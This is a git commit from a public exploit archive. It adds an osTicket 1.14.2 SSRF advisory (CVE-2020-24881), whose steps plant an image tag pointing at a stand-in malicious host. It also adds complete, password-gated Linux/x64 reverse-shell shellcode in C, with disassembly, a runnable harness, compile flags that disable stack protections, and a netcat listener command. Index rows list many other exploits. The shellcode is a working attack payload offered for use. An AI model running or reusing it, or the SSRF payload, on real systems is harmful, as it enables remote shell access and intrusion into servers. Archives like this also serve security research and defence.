DB: 2021-01-20
2 changes to exploits/shellcodes osTicket 1.14.2 - SSRF Linux/x64 - Reverse (127.1.1.1:4444) Shell (/bin/sh) Shellcode (123 Bytes)
This commit is contained in:
Offensive Security
parent
8d70b4e885
commit
62b25db87d
4 changed files with 117 additions and 0 deletions
23
exploits/php/webapps/49441.txt
Normal file
23
exploits/php/webapps/49441.txt
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
# Exploit Title: osTicket 1.14.2 - SSRF
|
||||
# Date: 18-01-2021
|
||||
# Exploit Author: Talat Mehmood
|
||||
# Vendor Homepage: https://osticket.com/
|
||||
# Software Link: https://osticket.com/download/
|
||||
# Version: <1.14.3
|
||||
# Tested on: Linux
|
||||
# CVE : CVE-2020-24881
|
||||
|
||||
osTicket before 1.14.3 suffers from Server Side Request Forgery [SSRF]. HTML page is rendered on backend server on calling "Print" ticket functionality.
|
||||
|
||||
Below are the steps to reproduce this vulnerability:
|
||||
|
||||
1. Create a new ticket
|
||||
2. Select "HTML Format" format.
|
||||
3. Add an image tag with your payload in src attribute i.e. "<img src=https://mymaliciouswebsite.com">
|
||||
4. After submitting this comment, print this ticket.
|
||||
5. You'll receive a hit on your malicious website from the internal server on which osTicket is deployed.
|
||||
|
||||
For more details, read my following blog:
|
||||
|
||||
https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2020-24881
|
||||
|
|
@ -25886,6 +25886,7 @@ id,file,description,date,author,type,platform,port
|
|||
12868,exploits/php/webapps/12868.txt,"Joomla! Component com_lead - SQL Injection",2010-06-03,ByEge,webapps,php,
|
||||
49439,exploits/php/webapps/49439.txt,"Life Insurance Management System 1.0 - 'client_id' SQL Injection",2021-01-18,"Aitor Herrero",webapps,php,
|
||||
49440,exploits/php/webapps/49440.txt,"Life Insurance Management System 1.0 - File Upload RCE (Authenticated)",2021-01-18,"Aitor Herrero",webapps,php,
|
||||
49441,exploits/php/webapps/49441.txt,"osTicket 1.14.2 - SSRF",2021-01-19,"Talat Mehmood",webapps,php,
|
||||
49433,exploits/php/webapps/49433.txt,"Alumni Management System 1.0 - _Last Name field in Registration page_ Stored XSS",2021-01-15,"Siva Rajendran",webapps,php,
|
||||
49434,exploits/php/webapps/49434.py,"E-Learning System 1.0 - Authentication Bypass & RCE POC",2021-01-15,"Himanshu Shukla",webapps,php,
|
||||
49435,exploits/multiple/webapps/49435.rb,"Netsia SEBA+ 0.16.1 - Authentication Bypass and Add Root User (Metasploit)",2021-01-15,AkkuS,webapps,multiple,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -1,5 +1,6 @@
|
|||
id,file,description,date,author,type,platform
|
||||
14113,shellcodes/arm/14113.c,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",shellcode,arm
|
||||
49442,shellcodes/linux/49442.c,"Linux/x64 - Reverse (127.1.1.1:4444) Shell (/bin/sh) Shellcode (123 Bytes)",2021-01-19,"Guillem Alminyana",shellcode,linux
|
||||
13241,shellcodes/aix/13241.c,"AIX - execve(/bin/sh) Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",shellcode,aix
|
||||
13242,shellcodes/bsd/13242.txt,"BSD - Reverse (127.0.0.1:31337/TCP) Shell (/bin/sh) Shellcode (124 bytes)",2000-11-19,Scrippie,shellcode,bsd
|
||||
13243,shellcodes/bsd_ppc/13243.c,"BSD/PPC - execve(/bin/sh) Shellcode (128 bytes)",2004-09-26,Palante,shellcode,bsd_ppc
|
||||
|
|
|
|||
|
92
shellcodes/linux/49442.c
Normal file
92
shellcodes/linux/49442.c
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
/*
|
||||
Exploit Title: Linux/x64 - Reverse Shell
|
||||
Author: Guillem Alminyana
|
||||
Date: 2021-01-18
|
||||
Platform: GNU Linux x64
|
||||
=====================================
|
||||
|
||||
This shellcode connects back to 127.1.1.1 address on port 4444
|
||||
Listener needs to be opened before execute: nc -lvp 4444
|
||||
|
||||
Compile:
|
||||
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
|
||||
*/
|
||||
|
||||
/*
|
||||
0: 6a 29 push 0x29
|
||||
2: 58 pop rax
|
||||
3: 6a 02 push 0x2
|
||||
5: 5f pop rdi
|
||||
6: 6a 01 push 0x1
|
||||
8: 5e pop rsi
|
||||
9: 99 cdq
|
||||
a: 0f 05 syscall
|
||||
c: 50 push rax
|
||||
d: 5f pop rdi
|
||||
e: 52 push rdx
|
||||
f: 68 7f 01 01 01 push 0x101017f
|
||||
14: 66 68 11 5c pushw 0x5c11
|
||||
18: 66 6a 02 pushw 0x2
|
||||
1b: 6a 2a push 0x2a
|
||||
1d: 58 pop rax
|
||||
1e: 54 push rsp
|
||||
1f: 5e pop rsi
|
||||
20: 6a 10 push 0x10
|
||||
22: 5a pop rdx
|
||||
23: 0f 05 syscall
|
||||
25: 6a 02 push 0x2
|
||||
27: 5e pop rsi
|
||||
28: 6a 21 push 0x21
|
||||
2a: 58 pop rax
|
||||
2b: 0f 05 syscall
|
||||
2d: 48 ff ce dec rsi
|
||||
30: 79 f6 jns 28 <loop_1>
|
||||
32: 6a 01 push 0x1
|
||||
34: 58 pop rax
|
||||
35: 49 b9 50 61 73 73 77 movabs r9,0x203a647773736150
|
||||
3c: 64 3a 20
|
||||
3f: 41 51 push r9
|
||||
41: 54 push rsp
|
||||
42: 5e pop rsi
|
||||
43: 6a 08 push 0x8
|
||||
45: 5a pop rdx
|
||||
46: 0f 05 syscall
|
||||
48: 48 31 c0 xor rax,rax
|
||||
4b: 48 83 c6 08 add rsi,0x8
|
||||
4f: 0f 05 syscall
|
||||
51: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231
|
||||
58: 36 37 38
|
||||
5b: 56 push rsi
|
||||
5c: 5f pop rdi
|
||||
5d: 48 af scas rax,QWORD PTR es:[rdi]
|
||||
5f: 75 1a jne 7b <exit_program>
|
||||
61: 6a 3b push 0x3b
|
||||
63: 58 pop rax
|
||||
64: 99 cdq
|
||||
65: 52 push rdx
|
||||
66: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
|
||||
6d: 2f 73 68
|
||||
70: 53 push rbx
|
||||
71: 54 push rsp
|
||||
72: 5f pop rdi
|
||||
73: 52 push rdx
|
||||
74: 54 push rsp
|
||||
75: 5a pop rdx
|
||||
76: 57 push rdi
|
||||
77: 54 push rsp
|
||||
78: 5e pop rsi
|
||||
79: 0f 05 syscall
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char code[]= \
|
||||
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";
|
||||
|
||||
void main()
|
||||
{
|
||||
printf("ShellCode Length: %d\n", strlen(code));
|
||||
int (*ret)() = (int(*)())code;
|
||||
ret();
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue